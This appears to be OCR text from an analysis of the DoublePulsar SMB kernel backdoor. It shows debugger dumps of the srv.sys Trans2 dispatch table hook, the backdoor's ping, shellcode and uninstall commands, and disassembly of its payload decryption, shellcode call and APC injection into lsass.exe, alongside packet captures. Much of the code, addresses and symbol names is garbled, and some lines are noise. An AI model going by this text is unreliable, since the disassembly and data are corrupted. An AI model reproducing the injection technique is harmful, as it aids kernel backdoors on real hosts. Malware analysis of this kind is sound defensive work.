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1. SrvTransaction2DispatchTable 14
SrvTransactionNotImplemented

kd: dd= =rv!srvtranszactiondi=patchtable
95b35530  9&5bLSdSef srv!SrvSmblpen?
95E35534 9EbLYfed srv!SrvSmbFindFirst?2
95b35538 95b5806d srv!SrvSmbFindHe=xt?
95b3553c  95bSaald srv!SrvSmblueryFsInformation
95E35540 95bSb2f3 srv!SrvSmbSetFzInformation
95b35544 9EbLS1{65 srv!SrvSmbQuervPathInformation
95B35548 9EbLZcYd srvISrvimbSetPathInformation
95b3554c 95b5177c srvlSrvSnbQuervFilelnformation
95h35550 95bLL5Z55d srv|SrvSmbSetFilelnformation
95b35554 95bSbh4eb srvw|SrvSnbFindHotifvy
95B35558  95bL5E9%97a srv!SrvSmbloctl?Z
95b3555c 95bSbdeb srv!SrvSmbFindHotify
95b35560 95b5b4el =rvlSrvSnbFindHotify

I i oy
95h355683 95BRL5AfZ2h s=rwlSrvTransactionHotInplemsnted

95hL35570 95bL44107 SrviSrvSthethsReferral

95h35574 95b43ff7 srv|SrvSnbREeportDfslnconsistency
QCRICC7?E ONANANNN

2. SrvTransaction2DispatchTable 14



dorl scen

kd: dd=s srv!srvtransactioniZdi=zpatchtable

95b35530 95b5456f =rv|SrvSmbOpend

95b35534  95bEVi{ed srv!SrvSmbFindFirst?

95b35538 9L5BE5806d srv!SrvSmbEFindNext?2

95b3553c 95b5aaf9 =rvlSrvSmbQuervF=zInformation

95bL35540 95BLSEBZ2f3 =rv|SrvSmbSetFeInformation

95b35544 95B51f65 =rv|SrvSmbOuervFathInformation

95b35548 95bB52cY4 srv! SrvSmbSetPathlInformation

9503554 95b517YYc srv!SrvSmblusrvyFilelnformation

A5B3LEE0  95BE5255d srv!SrvSmbSetFilelnformation

95b355584 95bSbdeb srv!SrvSmbFindHotifv

95b35558 9L5B5E89Ya srv!SrvSmbloctl2

95b3555z 95bSb4eb =rvw!SrvSmbFindHotifw

95035560 95bSbdeb srv!SrvSmbFindHotifvy

9EbA55R4  9ERE3RfH _srwlSruSnbhCreatelll rectorsd |
L0483 _

95b3556c  95bSdEZb srv!SrvTransactionHotInplemented

A5B3SEF0 95b44107 srv!SrvSmbGetDizReferral

95b35574  ASL43if7 srv!SrvSmbResportDislnconsistency
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0x77 { Uninstall ) —l-{ Raesumea Hook function I-

Cecrypting
message data

=] inject shellcode

Werifying data

I| MID+10 H—

¥
jmp »l en
=l Froalrreegadimnlariligd e
(1)CheckFlag
SMB_COM_TRANSACTION2
Timeout flag
Eeﬁwn:sﬁsuﬁm sub_86847194 proc near : CODE XREF: start+387p
eqBBB:B6BLT1D, xor eax, eax
eqoea:86847196 mou al, cl
egdoa:86847198 shr ecx, 8
eqdpa:868L4719B add al, cl
eqB@0:B68L4719D shr ecx, 8
eqaoa:868471AA add al, cl
nof o SRNUNNNU i PR o _FEI N -

BN 1| IR | i B i
- s PEER T :
T
b_BOGBLT194 endp RS
b
seqdag
1 I e F 0 TR T |
timeout 0x23
oo e st SUPNR e e e e e s
10 ©.005892 192.168.0.109 192.168.0.101 SMB 445 136 Trans2 RequestAv’;f"SSTuﬁ:S‘:'Tuv
11 ©.605951 192.168.8.101 192.168.0.109 MB 49805 93 Trans2 Response<unknown>, Error: STATUS_MOT_IMPLEMENTED
| M‘ o

15 ©.811895 192.168.8.109 192.168.0.101 SMB 445 1312 Trans2 Request, SE¥

@ minutes, 33.186 seconds

de ff 53 4d 42

@ 00 06 02 08 68
41 6@ 8f 6c e ee ee el
00 08 9c 88 42
00 6d 00 00 00 00 08 00




0x23 Ping
ox77
0xc8 shellcode
start proc near
var_4= dword ptr -4
arg_4= dword ptr 8
nov ecx, [esprarg_ 4]
pusha
call §+5
pop ebp
and bp, BFB@6hH
nov [ebp+ ], ecx
call sub_86847239
call sub_868471A8
call sub_868471E9
test eax, eax
jz loc_86847155
¥
(. - L .
ebp+3Ch] nouv ebx, [
ehx-28h] nou ec®, [
847194 call sub_86
h ; '#" cmp al, 23
loc_8684708E jz short
cmp al, ; Tw
jz short loc_868470A1
]
[ sl 5= M=
1: EZP :ﬁ;rt 106:868“7393 loc_86847 04
(2)Ping
0x23 Ping Ping
(3)RunShellcode  Rundll
0xc8 shellcode Doublepulsar Rundll
RunShellcode Rundll
shellcode dil
RunShellcode  Rundll Ping
SESSION_SETUP Parameters shellcode
shellcode 0x5ed26d41°0x5ed24a49=0x2708 ,
(0x5ed25a49"0x5ed24a49=0x1000) 0x5ed24a49




10 9.005892

5 BESSTON SEme Z 1

2 Rewgu

192.168.0.109

L s

192.168.0.101

136 Trans2 Request

SMB

s 6810595 19720666,

e )
sessTon_seTup  ping®l

A92 666,101 52 Teanes

= < i it Sbi
2 Responsecunknown>, Fevor: STATUS M;)\ LMPLEMENTED 16 6.011968 192.168.9.101 A92.068.8.189  sMi 93 Trans
sogmenis of 2 re by Led 1PDU | 17 6605004 192.768.9.189 U % 0 I L U amsaa ey
sogment: of o ressombLod POU| 18 6013317 192.168.9.189 192 .168.6.1681 1P 54 e
2 Requesic, SESSTON SET0P - 19 8.81331/ 192.165.9.189 192.168.0.181 SMB 32 Teans
Parameter Offset: 66
Data Count: 4096
Data Offset: 78
Setup Count: 1
Reserved: @@
Subcommand: SESSION_SETUP (@xeeee)
Byte Count (BCC): 4109
Padding: 8@
v SESSION_SETUP Parameters
Unknown Data: 94ad25e
v SESSIOM_SETUP Data
e Unknown Data: c20ef65a29c317dfaSfed25e49c335e6594ad25eclcddede. .. coc
2040 00 e 00 od 10 oo THTINTI RN IR Er  -...--
[LE] c20e f6 5229 ¢3 17 df a5 fed2 5 49 <3 [g...2). ..... L
35 e6 59 4a d2 Se @ cd de Se 49 4a 6a e 49 4a S.YI. AL NATTHLTI
SESSION_SETUP Data shellcode
a. shellcode
g e ah e e ey L ey
seq000:85847 0B mou esi, [eax] ; shellcode size
seqBdB:868470B3 ®or esi, [ebp+28h] ; Key
seqABB:86847OBG mouy edi, [eax+8]
seqB0B:858470BD ®Oov edi, [ebp+2&h]
seqBaB: 86847 BBC moy eax, [eax+4]
seqAB0:86847 BBF #or eax, [ebp+28h]
- TN TUTITPer e
b. shellcode shellcode
shellcode
seqBBa: 86847 BCE nov eax, [ebp+2Ch]
seqdBa: 86847 8D jz short loc_BABA47BEBR
seqaaa: 86847003 call sub_B86B471CA
seqBBa:868478D8 lea eax, [esi+y]
seqOaa: 6847 0DB push eax
seqdBfa:86847BDC push i}
seqBBa: 86847 BDE call dword ptr [ebp+&] ; Allocate buffer
seq@80:86847 BE1 test eax, eax
seqdBa:B6BU7BE3 jz short loc_B6BL47148
seqBBa: 86847 BES nov [ebp+2Ch], eax
seq@80:86847 0ER mou [ebp+30h], esi
seqO00: 86847 0EB
Seqaaa:868470EE loc_868470EB: ; CODE XREF: start+897j
seq@80:86847 BEB add edi, ebx
seq0A0:86847 BED cmp edi, esi
seqBBa: 86847 BEF ja short loc_B6BA47144%
seq@80: 86847 6F1 sub edi, ebx
seqdBa: 86847 BF3 add edi, eax
seqBiBa: 86847 BFS push edi
seq@BA: 86847 OFG mou edx, esi
seqdBa:B68U7BFR nov esi, [ebp+3Ch]
seqBAA: 86847 AFE mou e i—
Mo aaiizie ety
i copy~data=tosbn 908286847180
BBB:B6847 162
HBB:86857183
ABBZBABL7TRS -
L NARR-RARBTIOR. ... S
T
7!
Bps ;—CODE XREF: start+C8j senHANIRARA7TEE Toc S88%71
=ar [esi], ebz ; decrpyt data 3R AAALEORAY T AB
add esi, 4 senHAEG847100)
loop loc_8684710B ; decrpyt data SEGRRRIBanaTITh
add eax, edx SEQURRRGRLTIIZ
cmp esi, eax SELAAAIBHGST T 14
j1 short loc_B868471408 SEqURB:IBERLRIIS
moy eax, [ebp+2Ch] SEQUUR:IRABUTIIR
pusha SEGHANIEGES V1B
mou esi, esp HILLDHLE LY A RTH
push eax SRGHBHIRGEN T
call eax ; call Shelhcode seqBaa: 86847 11F
mov esp, esi seq@8a:86847121



Rundll
ntoskrnl.exe

C.
IDT

SeqDAR:REEFT IS

shellcode

IDT

PE

[edi+Dhh], eax

sdqaaa Basreare -
2NN BAGFIFA

e BRAFI2F
JBEGEBAAFIZAZ -
qUBIB66FI3AT
q900:866F9306 -
B8 R66F9308 -

[, - T, - R, . B, - B, S,
i

o HE G000 20 fm ™

[ T TR

sggmww'"
sedfnn866F9315"

(DUninstall

seqbRd: 865 FPOSE now ebx, Llarge Fs:z3dh
SequRd:S6oF YRS now ax, [ebx+H]
SeqRAA:RGAF P0G T hl rax, 1@h
segDRd:366F 0 A naw ax, [ebx]
seqUHad:S6oFY BoR and ax, HF B
LrqAAAcAGaFoRT 1
<anPIR: RASERATA 1 oc..REARO AT, e CHDE HPEE. Suh A5 RR00 0],
mp ot EL R AT g e, el
AT YRR AR =i Wis, SALDH
T M o B [pos S
aeen L pR A DR EL W, @00
S S AR A T e e T N g e ]
LT R L T e e e e
et B R A )
R SRR Dor FRAFTERET: : FITE SRST: gl DEPPNLETER
e I RO ooen [eaEUCh]; ey
vmepthL i s ooal ek, eax
w;-m'tﬁﬁ%“-{-ﬂﬁci (1nr-H iy RS At
ST T A s 3. /AT e e it TITTTTTN L LR L R0
et ST Tisr
-.-:-:12'."-:\&:--".."_! b P ge
E o L e TS
e DTS FITsE
d. PID Isass.exe
seq000:866F933B push esi
seqOOB:866F233C push ecx
seqOOB:866F 233D call dword ptr [edi+ 1 ; PsLookupProcessByProcessld
seqBBB:866F 2340 test eax, eax
seqBOB:-866F9P342 jnz loc_B866F93CE
seqOfB:-866F 2348 nov esi, [edi+ 1
seqBlOB:-866F9234B now ebx, [edi+ 1
ceqfff:B66FP351 mow eax, [esi+ebx]
seqOff:B66FP35Lh cmp eax, 2
seqOOB:866F 9357 j1 short loc_B866F93C6
seqBBB:866F9359 push esi
seqBeB:866F235A call dword ptr [edi+ 1 ; PsGetProcessImageFileMame
seqB@B:-866F935D call gethash
seqBA@B:-866F9362 now ecx, [edi+ 1
seqfAf:BO66FP368 cmp eax, ecx
ceqOfB:B66FP36A jnz short loc_866F23C6
seqOOB:866F 2360 lea ecx, [edi+ 1
seqOOB:866F236F push ecx
seqBBB:B66F937A push esi
seqBOB:-866F9371 call dword ptr [edi+8] ; KeStackattachProcess
sPNAAR-RAGFOA7L nish pai
e. APC
g AL Lo L il o e
seqABA:B66F92CE sub edx, eax
—rrteruuol 31
=eqBAB:866F92D6 HE
=eqBBB:BHGFD2D8
. —sPnARACRGAED DR
B66F920E
g mnn L v
RQUNN I BGAFY2EG
se BEELBGHFO2ED
eqUNN:B44FY2EF

StypUr.pULLELoa.

=eqBo0:866F92F Y

ntoskrnl .exe

; Kelnitializedpc
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s KeTnsertueuefpe



0x77
SrvTransaction2DispatchTable

S R TR LT ITITITE PR

seqA00:86847189 sub_868471B9  proc near ; CODE XREF: start:loc_868470a1Tp
‘SRNAAA:RABUTIRY nusha s

cel. Hrper _g.l‘fp].ll':a:fa-

Fa e
nI ezx, “ebp+4dn]
e e nEu esx, Teax+ich])

sERLE ST g rsastlve dUisiod Feiilasle [Ty Jeax

®)
SrvTransactionNotImplemented
MID

seqooo:B6BU7 140

SeqoB0:BGBUF140 loc_86847140: ; CODE XREF: Stat‘t+51ﬁj
5eqo0p0:86847140 ; start+cEfj
seqd@B:BGBLF 140 mou al, 16h

seqdOp:BOBLF142 jmp short loc_B8684714C

seqiBB:BOBL7 14N
seqiiB:BOBLT14Y

seqBaB:B6BLFINY loc_B684714Y4: CODE XREF: start+417j

SeqOO0:8684714L ; starts7FTj ...
5eqOOD:8684714L mou al, R
SegOOD:86847146 jmp short loc_8684714C

seqOiOO:BGBUF14B
seqdAf:BGBL7 148

seqBBB:BO6B47148 loc_B86847148: ; CODE XREF: start+9B7j
seqdBp:BABLT 148 mou al, HE
seqdBp:BABLT14A jmp short $+2

seqdBB:B6BUFILC
ceqOdn:B68L7I4C

SeqoB0:BGBUFIAC loc_8684T714C: ; CODE XREF: Stat‘t*-FHfj
5eqo00:8684714C ; start+FET] ...
seqOiBO:BGBLF14C mou ecx, [ebp+ 1

seqd@p:BOBUF14F mou ah, @

seqBBp:BOBLT151 add [eck+1Eh], ax ; add HID

seqBBB 86847155

seqBBB:86847155 loc_86847155: ; CODE XREF: start+24ij
seqBOA:B6BATI55 moy eax, [ebp+10h]

ceqRAR:86BA7158 moy [esp+2Bh+var 4], eax

5eqo0p0:8684715C popa

seq000:8684715D jmp duword ptr [eax+ ] ; jmp old_SruTransactionHotImplemented

seqd@B:BGBUFIG6E ;
canOAR-RARATIAD

MID+0x10

MID+0x20

MID+0x30

CrccTnu, CETIID - . E——
HOTn .

D% 4 ITHZ0U [AUR ] SEU-SZZ ALR-3370 WAN-03I0U Len-u

2 - e

25 BT AL EMENTEL

15

A e
1312

Irans? Requesi,

Flags2: Bxc@87, Unicode Strings, Error Code Type, Security Signatures, Ex Process ID: 65279

Process ID High: @ User ID: 2848

Signature: 9000000000000800 Multiplex ID: 66

Reserved: 00@@ v Trans2 Request (@x32)

Tree ID: 2048 (\\192.168.0.181\IPC$) Word Count (WCT): 15

Process ID: 65279 Total Parameter Count: 12

User ID: 2048 Total Data Count: 4896 JEIEASHIMIDINOX10
Multiplex ID: 82 Max Parameter Count: 1

. — 4 At =
Trans2 Response (@x32) Max Data Count: @ FrES AT v
packet wasn't seen Max Setup Count: @ ) ~_

3 '0c 00 00 10 01 0O 00 00 PO 00 0O
B0 87°z> 5. 00 @0 00 Bc 00 42 @0 00 10 de B0 01
00 Qe 00 ©d 10 @0 41 6d d2 5e 49 5a d2 Se 49 4a
d2 5e c2 Be f6 5a 29 c3 17 df a5 fe d2 5e 49 c3

80 06 0@ 00 c@ a8 00 65 @ a8 0020

90 6d 01 bd ¢€2.8d 7a le 7d 3a dB ea d6 B2 50 18
0@ fb 82 64 00 0G°29 06 @@ 23 ff 53 4d 42 32 @2
80 00 cO 98 07 cO B0 S 0@ 00 0@ 0O 00 0@ 00 00
0850 0@ 00 0@ 83 ff fe 00 08
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